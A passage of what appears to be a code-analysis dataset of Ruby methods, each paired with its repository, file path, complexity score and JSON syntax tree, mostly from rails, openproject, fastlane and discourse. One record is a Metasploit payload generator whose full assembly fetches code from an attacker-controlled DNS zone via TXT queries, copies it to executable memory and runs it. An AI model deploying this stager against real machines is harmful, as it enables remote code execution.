end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format_error_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issues\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"issue_type\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_type\"]}]},{\"type\":\"str\",\"children\":[\" for migration: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"ERROR_CODE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[31mError: Issues found with migration checksum files\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\u001b[0m\"]}]}]}]}]}","id":"3880d72f-7d02-42e9-94cd-b1934bce8beb"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/propfind_query.rb","start_line":70,"raw_source":"def self.call(storage:, http:, username:, path:, props:)\n new(storage).call(http:, username:, path:, props:)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"storage\"]},{\"type\":\"kwarg\",\"children\":[\"http\"]},{\"type\":\"kwarg\",\"children\":[\"username\"]},{\"type\":\"kwarg\",\"children\":[\"path\"]},{\"type\":\"kwarg\",\"children\":[\"props\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"props\"]},{\"type\":\"lvar\",\"children\":[\"props\"]}]}]}]}]}","id":"de535f85-bab0-416d-8272-5bb55e81a95e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/dns_txt_query_exec.rb","start_line":69,"raw_source":"def generate(_opts = {})\n dnsname = datastore['DNSZONE']\n w_type = 0x0010 # DNS_TYPE_TEXT (TEXT)\n w_type_offset = 0x1c\n\n queryoptions = 0x248\n # DNS_QUERY_RETURN_MESSAGE (0x200)\n # DNS_QUERY_BYPASS_CACHE (0x08)\n # DNS_QUERY_NO_HOSTS_FILE (0x40)\n # DNS_QUERY_ONLY_TCP (0x02) <- not used atm\n\n bufferreg = 'edi'\n\n # create actual payload\n payload_data = %^\n cld ; clear direction flag\n call start ; start main routine\n #{asm_block_api}\n ; actual routine\n start:\n pop ebp ; get ptr to block_api routine\n\n ; first allocate some space in heap to hold payload\n alloc_space:\n xor eax,eax ; clear EAX\n push 0x40 ; flProtect (RWX)\n mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)\n push eax ; flAllocationType MEM_COMMIT (0x1000)\n push eax ; dwSize (0x1000)\n push 0x0 ; lpAddress\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}\n call ebp\n push eax ; save pointer on stack, will be used in memcpy\n mov #{bufferreg}, eax ; save pointer, to jump to at the end\n\n\n ; load dnsapi.dll\n load_dnsapi:\n xor eax,eax ; put part of string (hex) in eax\n mov al,0x70\n mov ah,0x69\n push eax ; push 'dnsapi' to the stack\n push 0x61736e64 ; ...\n push esp ; Push a pointer to the 'dnsapi' string on the stack.\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA( \"dnsapi\" )\n\n ;prepare for loop of queries\n mov bl,0x61 ; first query, start with 'a'\n\n dnsquery:\n jmp.i8 get_dnsname ; get dnsname\n\n get_dnsname_return:\n pop eax ; get ptr to dnsname (lpstrName)\n mov [eax],bl ; patch sequence number in place\n xchg esi,ebx ; save sequence number\n push esp ; prepare ppQueryResultsSet\n pop ebx ; (put ptr to ptr to stack on stack)\n sub ebx,4\n push ebx\n push 0x0 ; pReserved\n push ebx ; ppQueryResultsSet\n push 0x0 ; pExtra\n push #{queryoptions} ; Options\n push #{w_type} ; wType\n push eax ; lpstrName\n push #{Rex::Text.block_api_hash('dnsapi.dll', 'DnsQuery_A')}\n call ebp ;\n test eax, eax ; query ok?\n jnz jump_to_payload ; no, jump to payload\n jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it\n\n get_dnsname:\n call get_dnsname_return\n db \"a.#{dnsname}\", 0x00\n\n get_query_result:\n xchg #{bufferreg},edx ; save start of heap\n pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA)\n mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response\n cmp eax,1 ; skip if there's not exactly 1 string in the response\n jne prepare_payload ; jmp to payload\n add #{bufferreg},#{w_type_offset} ; get ptr to ptr to DNS reply\n mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply\n\n copy_piece_to_heap:\n xchg ebx,esi ; save counter\n mov esi,edi ; set source\n mov edi,[esp+0x8] ; retrieve heap destination for memcpy\n xor ecx,ecx ; clear ecx\n mov cl,0xff ; always copy 255 bytes, no matter what\n rep movsb ; copy from ESI to EDI\n push edi ; save target for next copy\n push edi ; 2 more times to make sure it's at esp+8\n push edi ;\n inc ebx ; increment sequence\n xchg #{bufferreg},edx ; restore start of heap\n jmp.i8 dnsquery ; try to get the next piece, if any\n\n prepare_payload:\n mov #{bufferreg},edx\n\n jump_to_payload:\n jmp #{bufferreg} ; jump to it\n^\n self.assembly = payload_data\n super\n end","complexity_score":14.95,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dnsname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DNSZONE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"w_type\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"lvasgn\",\"children\":[\"w_type_offset\",{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"lvasgn\",\"children\":[\"queryoptions\",{\"type\":\"int\",\"children\":[584]}]},{\"type\":\"lvasgn\",\"children\":[\"bufferreg\",{\"type\":\"str\",\"children\":[\"edi\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" cld ; clear direction flag\\n\"]},{\"type\":\"str\",\"children\":[\" call start ; start main routine\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" ; actual routine\\n\"]},{\"type\":\"str\",\"children\":[\" start:\\n\"]},{\"type\":\"str\",\"children\":[\" pop ebp ; get ptr to block_api routine\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" ; first allocate some space in heap to hold payload\\n\"]},{\"type\":\"str\",\"children\":[\" alloc_space:\\n\"]},{\"type\":\"str\",\"children\":[\" xor eax,eax ; clear EAX\\n\"]},{\"type\":\"str\",\"children\":[\" push 0x40 ; flProtect (RWX)\\n\"]},{\"type\":\"str\",\"children\":[\" mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)\\n\"]},{\"type\":\"str\",\"children\":[\" push eax ; flAllocationType MEM_COMMIT (0x1000)\\n\"]},{\"type\":\"str\",\"children\":[\" push eax ; dwSize (0x1000)\\n\"]},{\"type\":\"str\",\"children\":[\" push 0x0 ; lpAddress\\n\"]},{\"type\":\"str\",\"children\":[\" push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"VirtualAlloc\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call ebp\\n\"]},{\"type\":\"str\",\"children\":[\" push eax ; save pointer on stack, will be used in memcpy\\n\"]},{\"type\":\"str\",\"children\":[\" mov \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\", eax ; save pointer, to jump to at the end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" ; load dnsapi.dll\\n\"]},{\"type\":\"str\",\"children\":[\" load_dnsapi:\\n\"]},{\"type\":\"str\",\"children\":[\" xor eax,eax ; put part of string (hex) in eax\\n\"]},{\"type\":\"str\",\"children\":[\" mov al,0x70\\n\"]},{\"type\":\"str\",\"children\":[\" mov ah,0x69\\n\"]},{\"type\":\"str\",\"children\":[\" push eax ; push 'dnsapi' to the stack\\n\"]},{\"type\":\"str\",\"children\":[\" push 0x61736e64 ; ...\\n\"]},{\"type\":\"str\",\"children\":[\" push esp ; Push a pointer to the 'dnsapi' string on the stack.\\n\"]},{\"type\":\"str\",\"children\":[\" push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call ebp ; LoadLibraryA( \\\"dnsapi\\\" )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" ;prepare for loop of queries\\n\"]},{\"type\":\"str\",\"children\":[\" mov bl,0x61 ; first query, start with 'a'\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" dnsquery:\\n\"]},{\"type\":\"str\",\"children\":[\" jmp.i8 get_dnsname ; get dnsname\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" get_dnsname_return:\\n\"]},{\"type\":\"str\",\"children\":[\" pop eax ; get ptr to dnsname (lpstrName)\\n\"]},{\"type\":\"str\",\"children\":[\" mov [eax],bl ; patch sequence number in place\\n\"]},{\"type\":\"str\",\"children\":[\" xchg esi,ebx ; save sequence number\\n\"]},{\"type\":\"str\",\"children\":[\" push esp ; prepare ppQueryResultsSet\\n\"]},{\"type\":\"str\",\"children\":[\" pop ebx ; (put ptr to ptr to stack on stack)\\n\"]},{\"type\":\"str\",\"children\":[\" sub ebx,4\\n\"]},{\"type\":\"str\",\"children\":[\" push ebx\\n\"]},{\"type\":\"str\",\"children\":[\" push 0x0 ; pReserved\\n\"]},{\"type\":\"str\",\"children\":[\" push ebx ; ppQueryResultsSet\\n\"]},{\"type\":\"str\",\"children\":[\" push 0x0 ; pExtra\\n\"]},{\"type\":\"str\",\"children\":[\" push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queryoptions\"]}]},{\"type\":\"str\",\"children\":[\" ; Options\\n\"]},{\"type\":\"str\",\"children\":[\" push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_type\"]}]},{\"type\":\"str\",\"children\":[\" ; wType\\n\"]},{\"type\":\"str\",\"children\":[\" push eax ; lpstrName\\n\"]},{\"type\":\"str\",\"children\":[\" push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"dnsapi.dll\"]},{\"type\":\"str\",\"children\":[\"DnsQuery_A\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call ebp ;\\n\"]},{\"type\":\"str\",\"children\":[\" test eax, eax ; query ok?\\n\"]},{\"type\":\"str\",\"children\":[\" jnz jump_to_payload ; no, jump to payload\\n\"]},{\"type\":\"str\",\"children\":[\" jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" get_dnsname:\\n\"]},{\"type\":\"str\",\"children\":[\" call get_dnsname_return\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"a.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dnsname\"]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" get_query_result:\\n\"]},{\"type\":\"str\",\"children\":[\" xchg \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\",edx ; save start of heap\\n\"]},{\"type\":\"str\",\"children\":[\" pop \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\" ; heap structure containing DNS results (DNS_TXT_DATAA)\\n\"]},{\"type\":\"str\",\"children\":[\" mov eax,[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\"+0x18] ; check the number of strings in the response\\n\"]},{\"type\":\"str\",\"children\":[\" cmp eax,1 ; skip if there's not exactly 1 string in the response\\n\"]},{\"type\":\"str\",\"children\":[\" jne prepare_payload ; jmp to payload\\n\"]},{\"type\":\"str\",\"children\":[\" add \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_type_offset\"]}]},{\"type\":\"str\",\"children\":[\" ; get ptr to ptr to DNS reply\\n\"]},{\"type\":\"str\",\"children\":[\" mov \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\",[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\"] ; get ptr to DNS reply\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" copy_piece_to_heap:\\n\"]},{\"type\":\"str\",\"children\":[\" xchg ebx,esi ; save counter\\n\"]},{\"type\":\"str\",\"children\":[\" mov esi,edi ; set source\\n\"]},{\"type\":\"str\",\"children\":[\" mov edi,[esp+0x8] ; retrieve heap destination for memcpy\\n\"]},{\"type\":\"str\",\"children\":[\" xor ecx,ecx ; clear ecx\\n\"]},{\"type\":\"str\",\"children\":[\" mov cl,0xff ; always copy 255 bytes, no matter what\\n\"]},{\"type\":\"str\",\"children\":[\" rep movsb ; copy from ESI to EDI\\n\"]},{\"type\":\"str\",\"children\":[\" push edi ; save target for next copy\\n\"]},{\"type\":\"str\",\"children\":[\" push edi ; 2 more times to make sure it's at esp+8\\n\"]},{\"type\":\"str\",\"children\":[\" push edi ;\\n\"]},{\"type\":\"str\",\"children\":[\" inc ebx ; increment sequence\\n\"]},{\"type\":\"str\",\"children\":[\" xchg \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\",edx ; restore start of heap\\n\"]},{\"type\":\"str\",\"children\":[\" jmp.i8 dnsquery ; try to get the next piece, if any\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" prepare_payload:\\n\"]},{\"type\":\"str\",\"children\":[\" mov \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\",edx\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" jump_to_payload:\\n\"]},{\"type\":\"str\",\"children\":[\" jmp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufferreg\"]}]},{\"type\":\"str\",\"children\":[\" ; jump to it\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assembly=\",{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8c7a77bb-cc76-4a7a-80cf-d850ab4be4f0"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb","start_line":245,"raw_source":"def spot(exc)\n if RubyVM::AbstractSyntaxTree.respond_to?(:node_id_for_backtrace_location) && __getobj__.is_a?(Thread::Backtrace::Location)\n location = @template.spot(__getobj__)\n else\n location = super\n end\n\n if location\n @template.translate_location(__getobj__, location)\n end\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"spot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"AbstractSyntaxTree\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"node_id_for_backtrace_location\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"Backtrace\"]},\"Location\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"spot\",{\"type\":\"send\",\"children\":[null,\"__getobj__\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"translate_location\",{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]},null]}]}]}","id":"6a4f7a1c-b548-4b26-9ece-25c127b1c7b0"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/version_bump_podspec.rb","start_line":45,"raw_source":"def self.available_options\n [\n FastlaneCore::ConfigItem.new(key: :path,\n env_name: \"FL_VERSION_BUMP_PODSPEC_PATH\",\n description: \"You must specify the path to the podspec file to update\",\n code_gen_sensitive: true,\n default_value: Dir[\"*.podspec\"].last,\n default_value_dynamic: true,\n verify_block: proc do |value|\n UI.user_error!(\"Please pass a path to the `version_bump_podspec` action\") if value.length == 0\n end),\n FastlaneCore::ConfigItem.new(key: :bump_type,\n env_name: \"FL_VERSION_BUMP_PODSPEC_BUMP_TYPE\",\n description: \"The type of this version bump. Available: patch, minor, major\",\n default_value: \"patch\",\n verify_block: proc do |value|\n UI.user_error!(\"Available values are 'patch', 'minor' and 'major'\") unless ['patch', 'minor', 'major'].include?(value)\n end),\n FastlaneCore::ConfigItem.new(key: :version_number,\n env_name: \"FL_VERSION_BUMP_PODSPEC_VERSION_NUMBER\",\n description: \"Change to a specific version. This will replace the bump type value\",\n optional: true),\n FastlaneCore::ConfigItem.new(key: :version_appendix,\n env_name: \"FL_VERSION_BUMP_PODSPEC_VERSION_APPENDIX\",\n description: \"Change version appendix to a specific value. For example 1.4.14.4.1 -> 1.4.14.5\",\n optional: true),\n FastlaneCore::ConfigItem.new(key: :require_variable_prefix,\n env_name: \"FL_VERSION_BUMP_PODSPEC_VERSION_REQUIRE_VARIABLE_PREFIX\",\n description: \"true by default, this is used for non CocoaPods version bumps only\",\n type: Boolean,\n default_value: true)\n ]\n end","complexity_score":21.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_VERSION_BUMP_PODSPEC_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"You must specify the path to the podspec file to update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"str\",\"children\":[\"*.podspec\"]}]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Please pass a path to the `version_bump_podspec` action\"]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"bump_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_VERSION_BUMP_PODSPEC_BUMP_TYPE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The type of this version bump. Available: patch, minor, major\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"patch\"]},{\"type\":\"str\",\"children\":[\"minor\"]},{\"type\":\"str\",\"children\":[\"major\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Available values are 'patch', 'minor' and 'major'\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"version_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_VERSION_BUMP_PODSPEC_VERSION_NUMBER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Change to a specific version. This will replace the bump type value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"version_appendix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_VERSION_BUMP_PODSPEC_VERSION_APPENDIX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Change version appendix to a specific value. For example 1.4.14.4.1 -> 1.4.14.5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"require_variable_prefix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_VERSION_BUMP_PODSPEC_VERSION_REQUIRE_VARIABLE_PREFIX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"true by default, this is used for non CocoaPods version bumps only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8e87a612-79f7-412a-aa4a-b46a2aa328fd"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/sidebar_url.rb","start_line":77,"raw_source":"def remove_internal_hostname\n self.value = self.value.sub(%r{\\Ahttp(s)?://#{Discourse.current_hostname}}, \"\")\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_internal_hostname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"value=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"value\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Ahttp(s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"0cf292e9-132a-4446-93fa-5ac260e6963b"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":1994,"raw_source":"def test_nested_fields_with_hash_like_model\n @author = HashBackedAuthor.new\n\n form_with(model: @post) do |f|\n concat f.fields(:author, model: @author) { |af|\n concat af.text_field(:name)\n }\n end\n\n expected = whole_form(\"/posts/123\", method: \"patch\") do\n '<input name=\"post[author_attributes][name]\" type=\"text\" value=\"hash backed author\" id=\"post_author_attributes_name\" />'\n end\n\n assert_dom_equal expected, @rendered\n 